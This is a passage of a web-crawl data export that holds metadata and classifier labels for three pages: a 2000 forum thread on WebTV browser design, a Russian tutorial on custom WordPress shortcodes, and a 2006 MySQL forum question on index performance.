"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-1,352,683,126,685,122,000 | homepage Welcome to WebmasterWorld Guest from 184.72.91.131
register, free tools, login, search, subscribe, help, library, announcements, recent posts, open posts,
Subscribe to WebmasterWorld
Home / Forums Index / Code, Content, and Presentation / HTML
Forum Library, Charter, Moderators: incrediBILL
HTML Forum
WebTV Browser -- and WebTV Business?
tedster
msg:584930
1:52 am on Nov 26, 2000 (gmt 0)
In another thread [webmasterworld.com] thepunter brought up the issue of the WebTV browser.
WebTV offers a simulator for their browser on their site [developer.webtv.net]. There is also an easy to use online viewer at AnyBrowser.com [anybrowser.com], but it's version 1.1 of the WebTV browser, which is now up to version 2.5.
The main restriction on the WebTV browser is the screen width (550 pixels). WebTV has an algorithm that squeezes everything down to that width, no matter how you code your HTML. One big technical difference between a TV picture and a monitor is that a TV is interlaced -- only half the lines of a screen are displayed on each pass, and they alternate.
Here's 3 basic rules I follow when WebTV matters to a client.
1. Small fonts are not going to work. The WebTV browser will automatically fatten up your <font> tags, but beware of any text in graphics. Make all the letter forms substantial or they won't be legible on a TV screen.
2. Avoid all-white backgrounds -- they make a lot of TVs freak out. You'll notice that the WebTV website has sort of a light tan background.
3. Avoid intense colors like bright red -- looks like chocolate pudding, at best.
If you get into fancy stuff -- multi media and all that -- then you need to study the developer's materials that WebTV provides.
Does anyone here get significant WebTV traffic? I have two clients who felt their products warranted it, and they paid extra to develop a WebTV compatible site -- but the traffic/sales just aren't there for them.
Mike_Mackin
msg:584931
2:05 am on Nov 26, 2000 (gmt 0)
>Does anyone here get significant WebTV traffic?
nop BUT our stuff doesn't appeal to 8th graders
<------[and we like white backgrounds]
rcjordan
msg:584932
2:09 am on Nov 26, 2000 (gmt 0)
>Does anyone here get significant WebTV traffic?
>
Sorry Tedster, I get 1 or 2 referrals a QUARTER.
tedster
msg:584933
2:39 am on Nov 26, 2000 (gmt 0)
Well, we do see more than 1 or 2 a quarter. More like 1 or 2 a week, but that's still not anywhere near a viable level for business. These are products that have a strong senior citizen demographic -- and big AOL numbers. One of them is something like 80% of their online sales from AOL, and the other is about half.
I suspect the site owners may have a good hunch about WebTV, but I haven't been able to get it to pay off so far. If anyone has any hints about getting WebTV business, I'd love to hear them.
My biggest suspicion is that no one wants to give a credit card number to a TV set. Doesn't seem prudent.
gmiller
msg:584934
4:14 am on Nov 27, 2000 (gmt 0)
The last number I heard was that they'd sold about 800K WebTV boxes, but that's an old number. Consequently, you're not going to see many WebTV users unless you have something tightly targetted at them.
tedster
msg:584935
5:40 am on Nov 27, 2000 (gmt 0)
I'd say you're right. The current numbers for total boxes in use are hard to find, but I've been doing a little more poking around. The WebTV site says they serve 65 million page views per day, and that 40% of their subscribers have made at least one purchase online in the last year.
So it's not exactly a gold rush. Furthermore, it looks like you need to directly target the WebTV user by advertising through WebTV itself.
Microsoft, the owner, is looking to push interactive TV programming through a partnership with CBS for the next year. I think they know that WebTV will not even rival the Mac in the online world, so they have a new gameplan.
rcjordan
msg:584936
12:45 am on Nov 30, 2000 (gmt 0)
>>Does anyone here get significant WebTV traffic?
>>
>Sorry Tedster, I get 1 or 2 referrals a QUARTER.
>
Evidently, that was the 3rd quarter, because now I'm getting 2 or 3 a day on two travel sites. There's some sort of promo with GO.com perhaps? They all look like this in the logs
[go.com...]
???
tedster
msg:584937
4:24 am on Nov 30, 2000 (gmt 0)
>...now I'm getting 2 or 3 a day on two travel sites.
It's been sneaking up on me, too. I thought it would be gone by now, and instead referals are up, although still very anaemic.
Last week I got some email from a new contact who has a WebTV email address. In the past year I've had 2 other clients who had WebTV addresses until well after their sites were launched -- then they KNEW they had to buy a PC.
Funny thing, one of those clients who didn't own a PC was a domain name speculator! He would hire me to create content to help him sell various domains. All the time he was only online through WebTV.
It does get me thinking about an under-noticed market. Microsoft owns WebTV. They're collaborating with CBS. They're worth at least keeping them on the radar, IMO.
Global Options:
top home search open messages active posts
Home / Forums Index / Code, Content, and Presentation / HTML
rss feed
All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About
© Webmaster World 1996-2014 all rights reserved | {
"url": "http://www.webmasterworld.com/forum21/79.htm",
"source_domain": "www.webmasterworld.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "22644",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZJJOZOOH7F42FCORY4POOTJRQF4MOOKH",
"WARC-Concurrent-To": "<urn:uuid:c8bc1958-e8e5-4784-a2c3-e3712b2c5c18>",
"WARC-Date": "2014-03-12T17:21:27Z",
"WARC-IP-Address": "209.59.188.141",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:NXFYI5LTKP3S5RKFFCQ6T54FZ2MOPYYW",
"WARC-Record-ID": "<urn:uuid:968a1e90-0153-434f-bcf5-0a689862ec55>",
"WARC-Target-URI": "http://www.webmasterworld.com/forum21/79.htm",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:6ea2c8f9-6487-4ab4-92ac-02f82e408ee4>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
60,
164,
192,
193,
254,
302,
303,
314,
315,
320,
357,
365,
366,
367,
368,
369,
380,
413,
414,
506,
507,
741,
742,
1094,
1095,
1157,
1158,
1376,
1377,
1518,
1519,
1601,
1602,
1731,
1732,
1945,
1946,
1948,
1949,
1961,
1962,
1963,
1964,
1965,
1976,
2009,
2010,
2059,
2060,
2108,
2109,
2148,
2149,
2158,
2159,
2160,
2161,
2162,
2173,
2206,
2207,
2256,
2258,
2307,
2308,
2316,
2317,
2318,
2319,
2320,
2331,
2364,
2365,
2682,
2683,
2874,
2875,
2981,
2982,
2990,
2991,
2992,
2993,
2994,
3005,
3038,
3039,
3242,
3243,
3251,
3252,
3253,
3254,
3255,
3266,
3299,
3300,
3585,
3586,
3726,
3727,
3952,
3953,
3962,
3963,
3964,
3965,
3966,
3977,
4011,
4012,
4062,
4065,
4115,
4117,
4296,
4308,
4309,
4313,
4314,
4322,
4323,
4324,
4325,
4326,
4337,
4370,
4371,
4425,
4426,
4553,
4554,
4780,
4781,
4981,
4982,
5146,
5147,
5163,
5209,
5211,
5212,
5273,
5282,
5283,
5381,
5440
],
"line_end_idx": [
60,
164,
192,
193,
254,
302,
303,
314,
315,
320,
357,
365,
366,
367,
368,
369,
380,
413,
414,
506,
507,
741,
742,
1094,
1095,
1157,
1158,
1376,
1377,
1518,
1519,
1601,
1602,
1731,
1732,
1945,
1946,
1948,
1949,
1961,
1962,
1963,
1964,
1965,
1976,
2009,
2010,
2059,
2060,
2108,
2109,
2148,
2149,
2158,
2159,
2160,
2161,
2162,
2173,
2206,
2207,
2256,
2258,
2307,
2308,
2316,
2317,
2318,
2319,
2320,
2331,
2364,
2365,
2682,
2683,
2874,
2875,
2981,
2982,
2990,
2991,
2992,
2993,
2994,
3005,
3038,
3039,
3242,
3243,
3251,
3252,
3253,
3254,
3255,
3266,
3299,
3300,
3585,
3586,
3726,
3727,
3952,
3953,
3962,
3963,
3964,
3965,
3966,
3977,
4011,
4012,
4062,
4065,
4115,
4117,
4296,
4308,
4309,
4313,
4314,
4322,
4323,
4324,
4325,
4326,
4337,
4370,
4371,
4425,
4426,
4553,
4554,
4780,
4781,
4981,
4982,
5146,
5147,
5163,
5209,
5211,
5212,
5273,
5282,
5283,
5381,
5440,
5487
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5487,
"ccnet_original_nlines": 147,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3747967481613159,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.030894309282302856,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.24959349632263184,
"rps_doc_frac_unique_words": 0.47151899337768555,
"rps_doc_mean_word_length": 4.402953624725342,
"rps_doc_num_sentences": 73,
"rps_doc_symbol_to_word_ratio": 0.0016260199481621385,
"rps_doc_unigram_entropy": 5.616480350494385,
"rps_doc_word_count": 948,
"rps_doc_frac_chars_dupe_10grams": 0.07379013299942017,
"rps_doc_frac_chars_dupe_5grams": 0.1274556815624237,
"rps_doc_frac_chars_dupe_6grams": 0.1274556815624237,
"rps_doc_frac_chars_dupe_7grams": 0.1274556815624237,
"rps_doc_frac_chars_dupe_8grams": 0.0953521803021431,
"rps_doc_frac_chars_dupe_9grams": 0.07379013299942017,
"rps_doc_frac_chars_top_2gram": 0.007666510064154863,
"rps_doc_frac_chars_top_3gram": 0.013416389934718609,
"rps_doc_frac_chars_top_4gram": 0.008624820038676262,
"rps_doc_books_importance": -493.3996887207031,
"rps_doc_books_importance_length_correction": -493.3996887207031,
"rps_doc_openwebtext_importance": -354.2835998535156,
"rps_doc_openwebtext_importance_length_correction": -354.2835998535156,
"rps_doc_wikipedia_importance": -182.2626953125,
"rps_doc_wikipedia_importance_length_correction": -182.2626953125
},
"fasttext": {
"dclm": 0.03521769866347313,
"english": 0.9472885131835938,
"fineweb_edu_approx": 1.0097758769989014,
"eai_general_math": 0.018077369779348373,
"eai_open_web_math": 0.06601399183273315,
"eai_web_code": 0.004719790071249008
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.85",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
3,023,972,989,589,293,600 |
Отправка сообщения
Как создать свои шорткоды в WordPress
Всем привет, сегодня мы поговорим про шорткоды в WordPress. Шорткоды позволяют вставлять в области вывода контента результаты выполнения какого-либо заготовленного кода. Это очень удобно, ведь можно короткой записью подключать существенные блоки кода. Так к примеру, в самом движке WordPress уже существует набор стандартных шорткодов, которые могут быть использованы для вывода.
Стандартные шорткоды WordPress
Пример стандартных шорткодов WordPress:
[audio]
[caption]
[gallery]
[playlist]
[video]
Можно заметить каждый шорткод заключён в квадратные скобки. Название шорткода идёт сразу после открытия скобки. Дело в том, что кроме самого символьного кода так же могут передаваться параметры, которые очень часто используются на практике.
Рассмотрим пример вывода галереи на сайте, посредством использования шорткода с некоторым набором параметров.
[gallery size="large" ids="45,35,25"]
Так мы обратились к шорткоду с названием gallery, передав параметры size и ids. Набор параметров может быть произвольным, и регламентируется отдельно для каждого шорткода.
Создание своих шорткодов в WordPress
Довольно перспективной становится возможность создания и использования собственных шорткодов в WordPress. Так множество плагинов используют эту возможность для простой интеграции блоков данных на сайт. К примеру, вы устанавливаете плагин с формой обратной связи, и на нужной странице вам достаточно добавить код вывода этой формы. Минимум кода, максимум эффекта. С таким же успехом мы можем создавать уникальные шорткоды для своих проектов.
Давайте рассмотрим простой пример создания своего шорткода. Для каждого шорткода должна быть определена функция-обработчик. Добавление нового шорткода и хука для него происходит через функцию add_shortcode().
Создаём в файле functions.php свой шорткод:
add_shortcode( 'footag', 'footag_func' );
function footag_func( $atts ){
return "foo = ". $atts['foo'];
}
Этот пример демонстрирует регистрацию нового шорткода, который может вызываться таким образом:
[footag foo="bar"]
Если в системе уже есть шорткод с таким названием, допустим в каком-либо плагине, то она будет заменена, с приоритетом в том порядке как вызываются функции.
Стоит обратить внимание на то, что результат работы функции всегда должен возвращаться через return а не выводиться на экран. В целом принцип использования довольно прост.
Возможность использования add_shortcode() появилась в WordPress начиная с версии 2.5. Это так же следует учитывать если вы решили использовать их в своих проектах.
Закрывающиеся шоркоды в WordPress
Существует и другой способ записи шоркодов, который расширяет возможность их использования. В отличии от предыдущего примера, есть возможность использования закрывающихся шорткодов. Это позволяет внутри них добавлять и другие шорткоды. Реализуется это посредством встроенной функции do_shortcode().
Рассмотрим такой пример вывода:
[footag foo="bar"]
Здесь может быть произвольный текст,
[myurl]
[/footag]
Сама функция-обработчик будет получать дополнительный параметр:
add_shortcode( 'footag', 'footag_func' );
function footag_func( $atts, $shortcode_content = null ){
return "foo = ". $atts['foo'] . '
' . do_shortcode( $shortcode_content );
}
Таким образом, кроме выполнения шоркода footag, внутри посредством функции do_shortcode() будет выполнен шорткод [myurl], который был передан вместе с текстом родительского шорткода.
Экранирование шорткодов
Иногда может потребоваться просто вывести шорткод на страницу без его выполнения. Для этого мы можем воспользоваться экранированием шорткодов. Экранируется шорткод посредством квадратных скобок, пример:
[[footag]]
Для открывающих/закрывающих шорткодов будет такая запись:
[[footag] ... [/footag]]
Обратите внимание на то, что использоваться экранирование может лишь для зарегистрированных шорткодов на сайте. Для других случаев можно так же использовать html-сущности, в качестве альтернативы показа квадратных скобок.
[footag]
При отрисовки страницы в браузере html-сущности будут замены на открывающие и закрывающие квадратные скобки соответственно.
Часто в функции-обработчике шорткода приходится использовать существенное количество html-разметки. Т.к. функция не должна выводить сразу результат, а передаваться в виде значения, то удобно использовать для этих целей буферизацию вывода.
Буферизация вывода в шорткоде
Что касается буферизации вывода, то тут всё стандартно для PHP. Выполнять буферизацию нужно в функции-обработчике, и оформить его следует таким вот образом:
function footag_func() {
ob_start();
?>
<!--Тут можно выводить данные в HTML-->
<?
$output = ob_get_contents(); // сохраняем вывод в $output
ob_end_clean();
return $output;
}
Вся HTML-разметка внутри буфера попадает в переменную $output и передаётся в качестве результата выполнения функции. Довольно-таки удобно, особенно если речь идёт о работе с большими кусками кода вёрстки страницы. Бывает и так, что самого кода слишком много, в PHP его оформляют в виде отдельных классов. Регистрировать шорткоды можно как для отдельных функций-обработчиков, так и для методов класса.
Использование методов класса для шорткодов
Чтобы подключить метод класса вместо одиночной функции, в качестве второго параметра add_shortcode() следует передать массив, первым элементом которого будет название класса, а вторым – название метода класса.
add_shortcode( 'footag', [ 'MyPlugin', 'footag_func' ] );
class MyPlugin {
static function footag_func( $atts, $content ) {
return "content = $content";
}
}
Таким образом, при выполнении шорткода будет вызван метод в классе MyPlugin с названием footag_func. Что касается параметров, передаваемых методу, то они идентичны предыдущим примерам. Такой способ часто используется в различных плагинах, которые устанавливаются дополнительно на сайте.
Опубликован: 05.02.2021 г.
Добавить комментарий
Ваш адрес email не будет опубликован. Обязательные поля помечены *
Комментарии
• Загрузка...
Наверх | {
"url": "https://yournet.info/blog/wp/kak-sozdat-svoi-shortkody-v-wordpress",
"source_domain": "yournet.info",
"snapshot_id": "crawl=CC-MAIN-2021-39",
"warc_metadata": {
"Content-Length": "55041",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:A2SAL4NXLQC44LTCW7E3ZZWRT2O7HD24",
"WARC-Concurrent-To": "<urn:uuid:ec611492-0cca-4f09-993f-8da8efb5eb88>",
"WARC-Date": "2021-09-19T23:19:03Z",
"WARC-IP-Address": "194.61.0.3",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:W4GNC7DAANBKMDRWLOU3KFTPQQGBDBZR",
"WARC-Record-ID": "<urn:uuid:a921a214-7b7c-46b8-9ac4-f5b84bc36633>",
"WARC-Target-URI": "https://yournet.info/blog/wp/kak-sozdat-svoi-shortkody-v-wordpress",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:144d4991-5f38-42ba-81e9-34cf19e97937>"
},
"warc_info": "isPartOf: CC-MAIN-2021-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-22\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
4,
5,
24,
25,
26,
27,
28,
29,
30,
68,
69,
449,
450,
481,
482,
522,
530,
540,
550,
561,
569,
570,
811,
812,
922,
923,
961,
962,
1134,
1135,
1172,
1173,
1614,
1615,
1824,
1825,
1869,
1870,
1912,
1913,
1944,
1975,
1977,
1978,
2073,
2074,
2093,
2094,
2251,
2423,
2424,
2588,
2589,
2623,
2624,
2923,
2924,
2956,
2957,
2976,
3014,
3023,
3033,
3034,
3098,
3099,
3141,
3142,
3200,
3234,
3274,
3276,
3277,
3460,
3461,
3485,
3486,
3689,
3690,
3701,
3702,
3760,
3761,
3786,
3787,
4009,
4010,
4029,
4030,
4154,
4155,
4394,
4395,
4425,
4426,
4583,
4584,
4609,
4622,
4626,
4667,
4671,
4730,
4747,
4748,
4765,
4767,
4768,
5169,
5170,
5213,
5214,
5424,
5425,
5483,
5484,
5501,
5551,
5582,
5585,
5587,
5588,
5875,
5876,
5903,
5905,
5906,
5927,
5928,
5995,
5996,
6008,
6009,
6025,
6026
],
"line_end_idx": [
4,
5,
24,
25,
26,
27,
28,
29,
30,
68,
69,
449,
450,
481,
482,
522,
530,
540,
550,
561,
569,
570,
811,
812,
922,
923,
961,
962,
1134,
1135,
1172,
1173,
1614,
1615,
1824,
1825,
1869,
1870,
1912,
1913,
1944,
1975,
1977,
1978,
2073,
2074,
2093,
2094,
2251,
2423,
2424,
2588,
2589,
2623,
2624,
2923,
2924,
2956,
2957,
2976,
3014,
3023,
3033,
3034,
3098,
3099,
3141,
3142,
3200,
3234,
3274,
3276,
3277,
3460,
3461,
3485,
3486,
3689,
3690,
3701,
3702,
3760,
3761,
3786,
3787,
4009,
4010,
4029,
4030,
4154,
4155,
4394,
4395,
4425,
4426,
4583,
4584,
4609,
4622,
4626,
4667,
4671,
4730,
4747,
4748,
4765,
4767,
4768,
5169,
5170,
5213,
5214,
5424,
5425,
5483,
5484,
5501,
5551,
5582,
5585,
5587,
5588,
5875,
5876,
5903,
5905,
5906,
5927,
5928,
5995,
5996,
6008,
6009,
6025,
6026,
6032
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6032,
"ccnet_original_nlines": 135,
"rps_doc_curly_bracket": 0.001657819957472384,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.008946320042014122,
"rps_doc_frac_lines_end_with_ellipsis": 0.007352939806878567,
"rps_doc_frac_no_alph_words": 0.8996024131774902,
"rps_doc_frac_unique_words": 0.5359565615653992,
"rps_doc_mean_word_length": 6.643147945404053,
"rps_doc_num_sentences": 60,
"rps_doc_symbol_to_word_ratio": 0.003976140171289444,
"rps_doc_unigram_entropy": 5.589770793914795,
"rps_doc_word_count": 737,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.020424839109182358,
"rps_doc_frac_chars_dupe_6grams": 0.020424839109182358,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.012254900299012661,
"rps_doc_frac_chars_top_3gram": 0.013480390422046185,
"rps_doc_frac_chars_top_4gram": 0.014705879613757133,
"rps_doc_books_importance": -374.4568786621094,
"rps_doc_books_importance_length_correction": -374.4568786621094,
"rps_doc_openwebtext_importance": -228.81219482421875,
"rps_doc_openwebtext_importance_length_correction": -228.81219482421875,
"rps_doc_wikipedia_importance": -162.79966735839844,
"rps_doc_wikipedia_importance_length_correction": -162.79966735839844
},
"fasttext": {
"dclm": 0.8699353337287903,
"english": 0.00001446999976906227,
"fineweb_edu_approx": 2.458214282989502,
"eai_general_math": -0.0000071499998739454895,
"eai_open_web_math": 0.18364053964614868,
"eai_web_code": 0.7470982074737549
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,748,105,618,725,765,000 | MySQL Forums
Forum List » Optimizer & Parser
Double Index Performance
Posted by: Jawad Laraqui
Date: January 12, 2006 02:21PM
Hey,
I have a table of posts for different users and I want to pull out the date of the last post for the users in the most efficient way possible. I have tried many things but I don't know which one actually performs the best. This is for an extremely high concurrency application so I'm really looking for the absolutely best performance: doing a scan in memory of the index is not good enough. I really want to set it up so that MySQL finds the answer in one shot without cursing around indexes.
Take the following example table:
CREATE TABLE `Person_Test` (
`PersonId` int(11) NOT NULL default '0',
`PostBody` text,
`PostDate` datetime default NULL,
KEY `PersonId` (`PersonId`,`PostDate` DESC)
) ENGINE=MyISAM
Put Some dummy data inside:
INSERT INTO Person_Test (PersonId, PostBody, PostDate) VALUES ('1','Hello
Mysql',now());
INSERT INTO Person_Test (PersonId, PostBody, PostDate) VALUES ('1','How are
you',now());
INSERT INTO Person_Test (PersonId, PostBody, PostDate) VALUES ('1','I\'m
Good',now());
Table looks like this:
mysql> SELECT * FROM Person_Test;
+----------+-------------+---------------------+
| PersonId | PostBody | PostDate |
+----------+-------------+---------------------+
| 1 | Hello Mysql | 2006-01-05 15:57:22 |
| 1 | How are you | 2006-01-05 15:57:28 |
| 1 | I'm Good | 2006-01-05 15:57:39 |
+----------+-------------+---------------------+
3 rows in set (0.00 sec)
I want to get the date of the latest post:
SELECT PostDate FROM Person_Test where PersonId=1 ORDER BY PostDate DESC LIMIT 1
pros: simplest SQL statement to do the job
cons: probably does a scan of the whole index for PersonId to get to the end of his section, then grabs the last element; this is not so great if it's true because the person could have a lot of posts. I don't want it to scan, even though it's in memory because it takes too long on a system where there a lots of users trying to do the same thing.
Does anyone know if there is a better way to implement this using HANDLER?
THanks
Jawad
Options: ReplyQuote
Subject
Views
Written By
Posted
Double Index Performance
7845
January 12, 2006 02:21PM
3028
January 13, 2006 05:18PM
2623
January 16, 2006 06:24AM
2687
January 16, 2006 08:46AM
2337
January 17, 2006 06:45AM
2531
February 01, 2006 01:05PM
Sorry, you can't reply to this topic. It has been closed.
Content reproduced on this site is the property of the respective copyright holders. It is not reviewed in advance by Oracle and does not necessarily represent the opinion of Oracle or any other party. | {
"url": "https://forums.mysql.com/read.php?115,63892,63892",
"source_domain": "forums.mysql.com",
"snapshot_id": "crawl=CC-MAIN-2019-35",
"warc_metadata": {
"Content-Length": "23554",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:LNWNB5TPBBXNFCGRDLPW6LDCQ73U7WL7",
"WARC-Concurrent-To": "<urn:uuid:afa4a512-cd8e-4bfa-a00e-afd5356dcd71>",
"WARC-Date": "2019-08-21T22:23:03Z",
"WARC-IP-Address": "137.254.60.13",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:E57GHXWGCHG6A4Q4ZFWQUPKNDZYCNGAI",
"WARC-Record-ID": "<urn:uuid:045f1952-00d7-44bc-882a-62b7be184260>",
"WARC-Target-URI": "https://forums.mysql.com/read.php?115,63892,63892",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:05bc20af-51e3-49ea-a250-ba1eaabfc4d8>"
},
"warc_info": "isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-214.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
13,
47,
48,
73,
98,
129,
130,
135,
136,
630,
631,
665,
666,
695,
736,
753,
787,
831,
847,
848,
876,
950,
965,
1041,
1054,
1127,
1141,
1142,
1165,
1199,
1248,
1283,
1332,
1374,
1416,
1455,
1504,
1529,
1530,
1573,
1574,
1655,
1656,
1699,
2048,
2049,
2124,
2125,
2132,
2138,
2139,
2159,
2160,
2161,
2169,
2175,
2186,
2193,
2218,
2223,
2248,
2253,
2278,
2283,
2308,
2313,
2338,
2343,
2368,
2373,
2399,
2400,
2401,
2459,
2460
],
"line_end_idx": [
13,
47,
48,
73,
98,
129,
130,
135,
136,
630,
631,
665,
666,
695,
736,
753,
787,
831,
847,
848,
876,
950,
965,
1041,
1054,
1127,
1141,
1142,
1165,
1199,
1248,
1283,
1332,
1374,
1416,
1455,
1504,
1529,
1530,
1573,
1574,
1655,
1656,
1699,
2048,
2049,
2124,
2125,
2132,
2138,
2139,
2159,
2160,
2161,
2169,
2175,
2186,
2193,
2218,
2223,
2248,
2253,
2278,
2283,
2308,
2313,
2338,
2343,
2368,
2373,
2399,
2400,
2401,
2459,
2460,
2661
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2661,
"ccnet_original_nlines": 75,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.30344828963279724,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07586207240819931,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3327586054801941,
"rps_doc_frac_unique_words": 0.5490196347236633,
"rps_doc_mean_word_length": 4.666666507720947,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.08125114440918,
"rps_doc_word_count": 408,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07878150790929794,
"rps_doc_frac_chars_dupe_6grams": 0.07878150790929794,
"rps_doc_frac_chars_dupe_7grams": 0.07878150790929794,
"rps_doc_frac_chars_dupe_8grams": 0,
